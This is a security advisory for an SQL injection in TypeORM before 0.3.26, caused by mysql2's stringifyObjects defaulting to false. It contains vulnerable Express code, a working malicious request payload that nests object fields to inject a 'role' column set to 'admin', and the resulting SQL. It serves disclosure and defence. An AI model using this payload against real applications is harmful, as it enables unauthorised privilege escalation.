Summary

SQL Injection vulnerability in TypeORM before 0.3.26 via crafted request to repository.save or repository.update due to the sqlstring call using stringifyObjects default to false.

Details

Vulnerable Code:

const { username, city, name} = req.body;
const updateData = {
  username,
  city,
  name,
  id:userId
 }; // Developer aims to only allow above three fields to be updated  
const result = await userRepo.save(updateData);

Intended Payload (non-malicious):

username=myusername&city=Riga&name=Javad

{username:"myusername",phone:12345,name:"Javad"}

SQL query produced:

sql

UPDATE `user` 
SET `username` = 'myusername', 
  `city` = 'Riga', 
  `name` = 'Javad' 
WHERE `id` IN (1);

Malicious Payload:

username=myusername&city[name]=Riga&city[role]=admin

{username:"myusername",city:{name:"Javad",role:"admin"}}

SQL query produced with Injected Column:

sql

UPDATE `user` 
SET `username` = 'myusername', 
  `city` = `name` = 'Javad', 
  `role` = 'admin' 
WHERE `id` IN (1);

Above query is valid as city = name = Javad is a boolean expression resulting in city = 1 (false). “role” column is injected and updated.

Underlying issue was due to TypeORM using mysql2 without specifying a value for the stringifyObjects option. In both mysql and mysql2 this [option defaults to false](https://github.com/sidorares/node-mysql2/blob/e359f454a76ba5dc31b91adf7bdb4099ca317bb5/lib/connection config.js#L124). This option is then passed into SQLString library as false. This results in sqlstring parsing objects in a strange way using objectToValues.
